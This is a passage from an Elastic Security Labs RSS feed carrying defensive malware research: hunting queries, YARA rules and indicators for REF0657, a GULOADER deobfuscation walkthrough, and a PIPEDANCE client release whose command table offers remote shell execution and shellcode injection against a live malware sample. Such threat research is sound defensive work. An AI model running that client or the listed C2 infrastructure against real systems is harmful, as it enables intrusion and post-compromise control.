<li><a href="https://www.elastic.co/pt/guide/en/security/current/process-execution-from-an-unusual-directory.html">Process Execution from an Unusual Directory</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/suspicious-certutil-commands.html">Suspicious CertUtil Commands</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/wmi-incoming-lateral-movement.html">WMI Incoming Lateral Movement</a></li>
</ul>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_ingress_tool_transfer_via_inet_cache.toml">Ingress Tool Transfer via INET Cache</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml">Potential Masquerading as Windows Error Manager</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/lateral_movement_potential_lateral_movement_via_smbexec.toml">Potential Lateral Movement via SMBExec</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_cmd_execution_via_wmi.toml">Suspicious Cmd Execution via WMI</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml">RunDLL32 with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
</ul>
<h3>Hunting queries in Elastic</h3>
<p>Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>ES|QL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below ES|QL queries to hunt for similar behaviors:</p>
<pre><code>FROM logs-*
  WHERE process.parent.name == &quot;sqlservr.exe&quot; 
  AND process.name == &quot;cmd.exe&quot; 
  AND process.command_line 
  RLIKE &quot;.*certutil.*&quot;
</code></pre>
<pre><code>FROM logs-*
  WHERE process.name == &quot;ms_edge.exe&quot; 
  AND process.code_signature.exists == false 
  AND NOT process.executable 
  RLIKE &quot;.*Program Files.*&quot;
</code></pre>
<h4>YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar">Windows.Trojan.CobaltStrike</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_SleepObfLoader.yar">Windows.Hacktool.SleepObfLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Nps.yar">Multi.Hacktool.Nps</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Rakshasa.yar">Multi.Hacktool.Rakshasa</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Iox.yar">Windows.Hacktool.Iox</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref0657">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>206.237.3[.]150</td>
<td>ipv4-addr</td>
<td></td>
<td>File hosting infrastructure</td>
</tr>
<tr>
<td>206.237.0[.]49</td>
<td>ipv4-addr</td>
<td></td>
<td>File hosting and supershell infrastructure</td>
</tr>
<tr>
<td>104.21.54[.]126</td>
<td>ipv4-addr</td>
<td></td>
<td>Cobalt Strike infrastructure</td>
</tr>
<tr>
<td>149.104.23[.]176</td>
<td>ipv4-addr</td>
<td></td>
<td></td>
</tr>
<tr>
<td>msedge[.]one</td>
<td>domain-name</td>
<td></td>
<td>Cobalt Strike infrastructure</td>
</tr>
<tr>
<td>bc90ef8121d20af264cc15b38dd1c3a866bfe5a9eb66064feb2a00d860a0e716</td>
<td>SHA-256</td>
<td>mscoree.dll</td>
<td></td>
</tr>
<tr>
<td>84b3bc58ec04ab272544d31f5e573c0dd7812b56df4fa445194e7466f280e16d</td>
<td>SHA-256</td>
<td>MSASN1.dll</td>
<td></td>
</tr>
</tbody>
</table>
<h2>About Elastic Security Labs</h2>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.</p>
<p>Follow Elastic Security Labs on Twitter <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/pt/security-labs/">www.elastic.co/security-labs/</a>.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/photo-edited-08@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Getting gooey with GULOADER: deobfuscating the downloader]]></title>
            <link>https://www.elastic.co/pt/security-labs/getting-gooey-with-guloader-downloader</link>
            <guid>getting-gooey-with-guloader-downloader</guid>
            <pubDate>Wed, 06 Dec 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs walks through the updated GULOADER analysis countermeasures.]]></description>
            <content:encoded><![CDATA[<h2>Overview</h2>
<p>Elastic Security Labs continues to monitor active threats such as GULOADER, also known as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye">CloudEyE</a> – an evasive shellcode downloader that has been highly active for years while under constant development. One of these recent changes is the addition of exceptions to its Vectored Exception Handler (VEH) in a fresh campaign, adding more complexity to its already long list of anti-analysis tricks.</p>
<p>While GULOADER’s core functionality hasn’t changed drastically over the past few years, these constant updates in their obfuscation techniques make analyzing GULOADER a time-consuming and resource-intensive process. In this post, we will touch on the following topics when triaging GULOADER:</p>
<ul>
<li>Reviewing the initial shellcode and unpacking process</li>
<li>Finding the entrypoint of the decrypted shellcode</li>
<li>Discuss update to GULOADER’s VEH that obfuscates control flow</li>
<li>Provide a methodology to patch out VEH</li>
</ul>
<h2>Initial Shellcode</h2>
<p>In our <a href="https://www.virustotal.com/gui/file/6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99">sample</a>, GULOADER comes pre-packaged inside an NSIS (Nullsoft Scriptable Install System) installer. When the installer is extracted, the main components are:</p>
<ul>
<li><strong>NSIS Script</strong> - This script file outlines all the various configuration and installation aspects.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image1.png" alt="Extracted NSIS contents" title="Extracted NSIS contents" /></p>
<ul>
<li><strong>System.dll</strong> - Located under the <code>$PLUGINSDir</code>. This file is dropped in a temporary folder to allocate/execute the GULOADER shellcode.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image10.png" alt="System.Dll exports" title="System.Dll exports" /></p>
<ul>
<li><strong>Shellcode</strong> - The encrypted shellcode is buried into a nested folder.</li>
</ul>
<p>One quick methodology to pinpoint the file hosting the shellcode can be done by monitoring <code>ReadFile</code> events from SysInternal’s Process Monitor after executing GULOADER. In this case, we can see that the shellcode is read in from a file (<code>Fibroms.Hag</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image11.png" alt="Shellcode Retrieved from File" title="Shellcode Retrieved from File" /></p>
<p>GULOADER executes shellcode through callbacks using different Windows API functions. The main reasoning behind this is to avoid detections centered around traditional Windows APIs used for process injection, such as <code>CreateRemoteThread</code> or <code>WriteProcessMemory</code>. We have observed <code>EnumResourceTypesA</code> and <code>CallWindowProcW</code> used by GULOADER.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image6.png" alt="EnumResourceTypesA Function Call inside GULOADER" title="EnumResourceTypesA Function Call inside GULOADER" /></p>
<p>By reviewing the MSDN documentation for <a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-enumresourcetypesa"><code>EnumResourceTypesA</code></a>, we can see the second parameter expects a pointer to the callback function. From the screenshot above, we can see that the newly allocated shellcode is placed into this argument.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image13.png" alt="EnumResourceTypesA Function Parameters" title="EnumResourceTypesA Function Parameters" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image7.png" alt="Shellcode from second parameter EnumResourceTypesA call" title="Shellcode from second parameter EnumResourceTypesA call" /></p>
<h2>Finding Main Shellcode Entrypoint</h2>
<p>In recent samples, GULOADER has increased the complexity at the start of the initial shellcode by including many different junk instructions and jumps. Reverse engineering of the downloader can require dealing with a long process of unwinding code obfuscation designed to break disassembly and control flow in some tooling, making it frustrating to find the actual start of the core GULOADER shellcode.</p>
<p>One methodology for finding the initial call can be leveraging graph view inside x64dbg and using a bottom-to-top approach to look for the <code>call eax</code> instruction.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image16.png" alt="Graph view for GULOADER main entrypoint call" title="Graph view for GULOADER main entrypoint call" /></p>
<p>Another technique to trace the initial control flow involves leveraging the reversing engineering framework <a href="https://github.com/cea-sec/miasm">Miasm</a><strong>.</strong> Below is a quick example where we can pass in the shellcode and disassemble the instructions to follow the flow:</p>
<pre><code>from miasm.core.locationdb import LocationDB
from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine

with open(&quot;proctoring_06BF0000.bin&quot;, &quot;rb&quot;) as f:
    code = f.read()

loc_db = LocationDB()
c = Container.from_string(code, loc_db)

machine = Machine('x86_32')
mdis = machine.dis_engine(c.bin_stream, loc_db=loc_db)
mdis.follow_call = True 
mdis.dontdis_retcall = True
asm_cfg = mdis.dis_multiblock(offset=0x1400)
</code></pre>
<p>Miasm cuts through the 142 <code>jmp</code> instructions and navigates through the junk instructions where we have configured it to stop on the call instruction to EAX (address: <code>0x3bde</code>).</p>
<pre><code>JMP        loc_3afd
-&gt;	c_to:loc_3afd 
loc_3afd
MOV        EBX, EAX
FADDP      ST(3), ST
PANDN      XMM7, XMM2
JMP        loc_3b3e
-&gt;	c_to:loc_3b3e 
loc_3b3e
SHL        CL, 0x0
PSRAW      MM1, MM0
PSRLD      XMM1, 0xF1
JMP        loc_3b97
-&gt;	c_to:loc_3b97 
loc_3b97
CMP        DL, 0x3A
PADDW      XMM3, XMM5
PXOR       MM3, MM3
JMP        loc_3bde
-&gt;	c_to:loc_3bde 
loc_3bde
CALL       EAX
</code></pre>
<p><em>Tail end of Miasm</em></p>
<h2>GULOADER’s VEH Update</h2>
<p>One of GULOADER’s hallmark techniques is centered around its <a href="https://learn.microsoft.com/en-us/windows/win32/debug/vectored-exception-handling">Vectored Exception Handling</a> (VEH) capability. This feature gives Windows applications the ability to intercept and handle exceptions before they are routed through the standard exception process. Malware families and software protection applications use this technique to make it challenging for analysts and tooling to follow the malicious code.</p>
<p>GULOADER starts this process by adding the VEH using <code>RtlAddVectoredExceptionHandler</code>. Throughout the execution of the GULOADER shellcode, there is code purposely placed to trigger these different exceptions. When these exceptions are triggered, the VEH will check for hardware breakpoints. If not found, GULOADER will modify the EIP directly through the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context">CONTEXT structure</a> using a one-byte XOR key (changes per sample) with a one-byte offset from where the exception occurred. We will review a specific example of this technique in the subsequent section. Below is the decompilation of our sample’s VEH:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image3.png" alt="Decompilation of VEH" title="Decompilation of VEH" /></p>
<p>Although this technique is not new, GULOADER continues to add new exceptions over time; we have recently observed these two exceptions added in the last few months:</p>
<ul>
<li><code>EXCEPTION_PRIV_INSTRUCTION</code></li>
<li><code>EXCEPTION_ILLEGAL_INSTRUCTION</code></li>
</ul>
<p>As new exceptions get added to GULOADER, it can end up breaking tooling used to expedite the analysis process for researchers.</p>
<h3>EXCEPTION_PRIV_INSTRUCTION</h3>
<p>Let’s walk through the two recently added exceptions to follow the VEH workflow. The first exception (<code>EXCEPTION_PRIV_INSTRUCTION</code>), occurs when an attempt is made to execute a privileged instruction in a processor’s instruction set at a privilege level where it’s not allowed. Certain instructions, like the example below with <a href="https://www.felixcloutier.com/x86/wrmsr">WRSMR</a> expect privileges from the kernel level, so when the program is run from user mode, it will trigger the exception due to incorrect permissions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image2.png" alt="EXCEPTION_PRIV_INSTRUCTION triggered by wrmsr instruction" title="EXCEPTION_PRIV_INSTRUCTION triggered by wrmsr instruction" /></p>
<h3>EXCEPTION_ILLEGAL_INSTRUCTION</h3>
<p>This exception is invoked when a program attempts to execute an invalid or undefined CPU instruction. In our sample, when we run into Intel virtualization instructions such as <code>vmclear</code> or <code>vmxon</code>, this will trigger an exception.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image14.png" alt="EXCEPTION_ILLEGAL_INSTRUCTION triggered by vmclear instruction" title="EXCEPTION_ILLEGAL_INSTRUCTION triggered by vmclear instruction" /></p>
<p>Once an exception occurs, the GULOADER VEH code will first determine which exception code was responsible for the exception. In our sample, if the exception matches any of the five below, the code will take the same path regardless.</p>
<ul>
<li><code>EXCEPTION_ACCESS_VIOLATION</code></li>
<li><code>EXCEPTION_ILLEGAL_INSTRUCTION</code></li>
<li><code>EXCEPTION_PRIV_INSTRUCTION</code></li>
<li><code>EXCEPTION_SINGLE_STEP</code></li>
<li><code>EXCEPTION_BREAKPOINT</code></li>
</ul>
<p>GULOADER will then check for any hardware breakpoints by walking the CONTEXT record found inside the <strong><a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-exception_pointers">EXCEPTION_POINTERS</a></strong> structure. If hardware breakpoints are found in the different debug registers, GULOADER will return a <code>0</code> into the CONTEXT record, which will end up causing the shellcode to crash.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image4.png" alt="GULOADER monitoring hardware breakpoints" title="GULOADER monitoring hardware breakpoints" /></p>
<p>If there are no hardware breakpoints, GULOADER will retrieve a single byte which is 7 bytes away from the address that caused the exception. When using the last example with <code>vmclear</code>, it would retrieve byte (<code>0x8A</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image9.png" alt="GULOADER retrieves a single byte, 7 bytes away from the instruction, causing an exception" title="GULOADER retrieves a single byte, 7 bytes away from the instruction, causing an exception" /></p>
<p>Then, using that byte, it will perform an XOR operation with a different hard-coded byte. In our case (<code>0xB8</code>), this is unique per sample. Now, with a derived offset <code>0x32</code> (<code>0xB8 ^ 0x8A</code>), GULOADER will modify the EIP address directly from the CONTEXT record by adding <code>0x32</code> to the previous address (<code>0x7697630</code>) that caused the exception resulting in the next code to execute from address (<code>0x7697662</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image8.png" alt="Junk instructions in between exceptions" title="Junk instructions in between exceptions" /></p>
<p>With different junk instructions in between, and repeatedly hitting exceptions (we counted 229 unique exceptions in our sample), it’s not hard to see why this can break different tooling and increase analyst time.</p>
<h2>Control Flow Cleaning</h2>
<p>To make following the control flow easier, an analyst can bypass the VEH by tracing the execution, logging the exceptions, and patching the shellcode using the previously discussed EIP modification algorithm. For this procedure, we leveraged <a href="https://github.com/hasherezade/tiny_tracer">TinyTracer</a>, a tool written by <a href="https://twitter.com/hasherezade">@hasherezade</a> that leverages <a href="https://www.intel.com/content/www/us/en/developer/articles/tool/pin-a-dynamic-binary-instrumentation-tool.html">Pin</a>, a dynamic binary instrumentation framework. This will allow us to catch the different addresses that triggered the exception, so using the example above with <code>vmclear</code>, we can see the address was <code>0x7697630</code>, generated an exception calling <code>KiUserExceptionDispatcher</code>, a function responsible for handling user-mode exceptions.</p>
<p>Once all the exceptions are collected and filtered, these can be passed into an IDAPython script where we walk through each address, calculate the offset using the 7th byte over and XOR key (<code>0xB8</code>), then patch out all the instructions generating exceptions with short jumps.</p>
<p>The following image is an example of patching instructions that trigger exceptions at addresses <code>0x07697630</code> and <code>0x0769766C</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image15.png" alt="Disassembly of patched instructions" title="Disassembly of patched instructions" /></p>
<p>Below is a graphic representing the control flow graph before the patching is applied globally. Our basic block with the <code>vmclear</code> instruction is highlighted in orange. By implementing the VEH, GULOADER flattens the control flow graph, making it harder to trace the program logic.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image5.png" alt="GULOADER’s control flow flattening obfuscation" title="GULOADER’s control flow flattening obfuscation" /></p>
<p>After patching the VEH with <code>jmp</code> instructions, this transforms the basic blocks by connecting them together, reducing the complexity behind the flow of the shellcode.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/image12.png" alt="GULOADER’s call graph obfuscation" title="GULOADER’s call graph obfuscation" /></p>
<p>Using this technique can accelerate the cleaning process, yet it’s important to note that it isn’t a bulletproof method. In this instance, there still ends up being a good amount of code/functionality that will still need to be analyzed, but this definitely goes a long way in simplifying the code by removing the VEH. The full POC script is located <a href="https://github.com/elastic/labs-releases/tree/main/tools/guloader/guloader_FixCFG.py">here</a>.</p>
<h2>Conclusion</h2>
<p>GULOADER has many different features that can break disassembly, hinder control flow, and make analysis difficult for researchers. Despite this and the process being imperfect, we can counter these traits through different static or dynamic processes to help reduce the analysis time. For example, we observed that with new exceptions in the VEH, we can still trace through them and patch the shellcode. This process will set the analyst on the right path, closer to accessing the core functionality with GULOADER.</p>
<p>By sharing some of our workflow, we hope to provide multiple takeaways if you encounter GULOADER in the wild. Based on GULOADER’s changes, it's highly likely that future behaviors will require new and different strategies. For detecting GULOADER, the following section includes YARA rules, and the IDAPython script from this post can be found <a href="https://github.com/elastic/labs-releases/tree/main/tools/guloader/guloader_FixCFG.py">here</a>. For new updates on the latest threat research, check out our <a href="https://www.elastic.co/pt/security-labs/topics/malware-analysis">malware analysis section</a> by the Elastic Security Labs team.</p>
<h2>YARA</h2>
<p>Elastic Security has created different YARA <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Guloader.yar">rules</a> to identify this activity. Below is an example of one YARA rule to identify GULOADER.</p>
<pre><code>rule Windows_Trojan_Guloader {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-10-30&quot;
        last_modified = &quot;2023-11-02&quot;   
        reference_sample = &quot;6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99&quot;
        severity = 100
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.Guloader&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;
    strings:
        $djb2_str_compare = { 83 C0 08 83 3C 04 00 0F 84 [4] 39 14 04 75 }
        $check_exception = { 8B 45 ?? 8B 00 38 EC 8B 58 ?? 84 FD 81 38 05 00 00 C0 }
        $parse_mem = { 18 00 10 00 00 83 C0 18 50 83 E8 04 81 00 00 10 00 00 50 }
        $hw_bp = { 39 48 0C 0F 85 [4] 39 48 10 0F 85 [4] 39 48 14 0F 85 [7] 39 48 18 }
        $scan_protection = { 39 ?? 14 8B [5] 0F 84 }
    condition:
        2 of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/guloader">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99</td>
<td>SHA-256</td>
<td>Windows.Trojan.Guloader</td>
<td>GULOADER downloader</td>
</tr>
<tr>
<td>101.99.75[.]183/MfoGYZkxZIl205.bin</td>
<td>url</td>
<td>NA</td>
<td>GULOADER C2 URL</td>
</tr>
<tr>
<td>101.99.75[.]183</td>
<td>ipv4-addr</td>
<td>NA</td>
<td>GULOADER C2 IP</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<ul>
<li><a href="https://github.com/elastic/labs-releases/tree/main/tools/guloader">https://github.com/elastic/labs-releases/tree/main/tools/guloader</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye">https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/getting-gooey-with-guloader-downloader/photo-edited-03@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Dancing the night away with named pipes - PIPEDANCE client release]]></title>
            <link>https://www.elastic.co/pt/security-labs/dancing-the-night-away-with-named-pipes</link>
            <guid>dancing-the-night-away-with-named-pipes</guid>
            <pubDate>Thu, 05 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[In this publication, we will walk through this client application’s functionality and how to get started with the tool.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>This year at <a href="https://www.virusbulletin.com/conference/">VB2023</a>, a globally renowned malware conference, Daniel Stepanic of the Elastic Security Labs team presented new insights into PIPEDANCE  – a malware we <a href="https://twitter.com/elasticseclabs/status/1630289166008287232">disclosed</a> earlier this year. In addition to the talk, we released a <a href="https://github.com/elastic/PIPEDANCE">client</a> application that enables threat research, offering learning opportunities for both offensive and defensive teams. In this publication, we will walk through this client application’s functionality and how to get started with the tool. Our goal with this research is to help defenders improve their understanding of PIPEDANCE by emulating techniques from this malware, used by a formidable threat group. This includes different behaviors such as:</p>
<ul>
<li>Command and control communication through named pipes</li>
<li>Different styles of process injection</li>
<li>Performing network connectivity checks</li>
<li>System/network discovery and enumeration</li>
</ul>
<h2>Recap</h2>
<p>PIPEDANCE is a custom malware family used by a state-sponsored group to perform post-compromise activities. It's purpose-built to enable lateral movement, deploy additional implants, and perform reconnaissance functions. PIPEDANCE uses named pipes as its main channel for command and control communication. With a variety of unique features, we believe it’s a useful example to share for research purposes and can help defenders validate security tooling.</p>
<p>For a detailed analysis of the PIPEDANCE malware, check out our <a href="https://www.elastic.co/pt/security-labs/twice-around-the-dance-floor-with-pipedance">previous research</a>.</p>
<h2>Development</h2>
<p>To get a better understanding of different features within malware, our team at Elastic Security Labs sometimes writes custom applications and controllers to interact with the malware or malware infrastructure. This process helps cultivate knowledge of a sample’s core features, assists in understanding the control flow better, and further validates different areas such as inputs and outputs to functions and data structures. Another key benefit is to uncover functionality that was not directly observed during an intrusion but is still contained in the malware. This allows our team to collect more intelligence, build additional detections, and understand more of the adversary’s objectives behind the malware.</p>
<p>While we don't cover these exact scenarios in this publication, here are some things that you can do with the client (but you may think of others):</p>
<ul>
<li>Understand how malware abuses named pipes</li>
<li>Verify data sources for security tooling around network activity using named pipes</li>
<li>Build a network decoder using PCAP data from PIPEDANCE’s communication requests</li>
</ul>
<p>With the release of the client, we're hoping that the community can write additional PIPEDANCE clients in your favorite language and compare notes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dancing-the-night-away-with-named-pipes/image3.jpg" alt="Emulated PIPEDANCE Injection functionality" /></p>
<h2>Getting Started</h2>
<p><em><strong>Note:</strong> Please review the <a href="https://github.com/elastic/PIPEDANCE/blob/main/README.md#requirements">requirements</a> before setting up the lab environment. For this example, we will use two different endpoints in the same local network where named pipes, inter-process communication, and SMB settings are configured properly.</em></p>
<p>The first step is to download the PIPEDANCE <a href="https://malshare.com/sample.php?action=detail&amp;hash=e5ae20ac5bc2f02a136c3cc3c0b457476d39f809f28a1c578cda994a83213887">sample</a> (free <a href="https://malshare.com/register.php">registration</a> required) and start the program without any arguments on one endpoint. This machine is the targeted endpoint where the adversary is interested in running additional implants and performing reconnaissance. After execution, a named pipe will be created and await an incoming connection from our client.</p>
<pre><code>.\e5ae20ac5bc2f02a136c3cc3c0b457476d39f809f28a1c578cda994a83213887
</code></pre>
<p>Now that PIPEDANCE is running on our targeted machine, download and compile the client files within the <a href="https://github.com/elastic/PIPEDANCE">repository</a>. The PIPEDANCE malware uses a hard-coded string, <code>u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe</code>, that serves as the named pipe name and RC4 key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dancing-the-night-away-with-named-pipes/image2.png" alt="Hardcoded named pipe/RC4 key within PIPEDANCE" /></p>
<p>Take the newly compiled client program and execute it on a separate endpoint with one argument using either the target IP address or hostname of the machine running PIPEDANCE (machine from the previous step). An example of this would be:</p>
<pre><code>pipedance_client.exe 192.168.47.130
</code></pre>
<p>After execution, the client will check in with the PIPEDANCE victim to retrieve the PID of the malicious process, working directory, and user running the process. A menu of commands should be listed allowing the operator to perform various post-compromise activities.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dancing-the-night-away-with-named-pipes/image1.png" alt="PIPEDANCE Client Menu" /></p>
<p>The appendix below contains the functions and their supported arguments.</p>
<h2>Conclusion</h2>
<p>As part of our research investigating PIPEDANCE, we are releasing a client application that interacts with the malware. This tool can be used to evaluate existing security prevention/detection technologies as well as used for threat research purposes. Please check out our <a href="https://github.com/elastic/PIPEDANCE">repository</a>, there is also a detection section with behavioral/YARA/hunting rules.</p>
<h2>Appendix</h2>
<h3>Handler Commands</h3>
<table>
<thead>
<tr>
<th>Command ID</th>
<th>Description</th>
<th>Arguments</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Stop</td>
<td>PIPEDANCE client</td>
</tr>
<tr>
<td>1</td>
<td>Terminate process by PID</td>
<td>PID (ex. 9867)</td>
</tr>
<tr>
<td>2</td>
<td>Run shell command and print output</td>
<td>Command (ex. ipconfig)</td>
</tr>
<tr>
<td>4</td>
<td>List files in current working directory</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>Write file to disk</td>
<td>Filename (full path), file content</td>
</tr>
<tr>
<td>7</td>
<td>Get current working directory</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>Change current working directory</td>
<td>Folder path</td>
</tr>
<tr>
<td>9</td>
<td>List running processes</td>
<td></td>
</tr>
<tr>
<td>23</td>
<td>Create random process with hijacked token from provided PID and inject shellcode (32bits)</td>
<td>PID (token hijack), shellcode</td>
</tr>
<tr>
<td>24</td>
<td>Create random process with hijacked token from provided PID and inject shellcode (64bits)</td>
<td>PID (token hijack), shellcode</td>
</tr>
<tr>
<td>25</td>
<td>Open process from provided PID and inject shellcode (32bits)</td>
<td>PID (thread hijack), shellcode</td>
</tr>
<tr>
<td>26</td>
<td>Open process from provided PID and inject shellcode (64bits)</td>
<td>PID (thread hijack), shellcode</td>
</tr>
<tr>
<td>71</td>
<td>HTTP connectivity check</td>
<td>Domain (ex. google.com)</td>
</tr>
<tr>
<td>72</td>
<td>DNS connectivity check with provided DNS server IP</td>
<td>DNS server IP</td>
</tr>
<tr>
<td>73</td>
<td>ICMP connectivity check</td>
<td>ICMP server IP</td>
</tr>
<tr>
<td>74</td>
<td>TCP connectivity check</td>
<td>IP, port</td>
</tr>
<tr>
<td>75</td>
<td>DNS connectivity check without DNS server</td>
<td></td>
</tr>
<tr>
<td>99</td>
<td>Disconnect pipe / exit thread</td>
<td></td>
</tr>
<tr>
<td>100</td>
<td>Terminate PIPEDANCE process / disconnect Pipe / exit thread</td>
<td></td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/dancing-the-night-away-with-named-pipes/photo-edited-12@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Introducing the REF5961 intrusion set]]></title>
            <link>https://www.elastic.co/pt/security-labs/introducing-the-ref5961-intrusion-set</link>
            <guid>introducing-the-ref5961-intrusion-set</guid>
            <pubDate>Wed, 04 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p><strong>Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.</strong></p>
<p>Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.</p>
<p>In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.</p>
<p>The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting <a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">here</a> and updated <a href="https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">here</a>). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).</p>
<p>Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.</p>
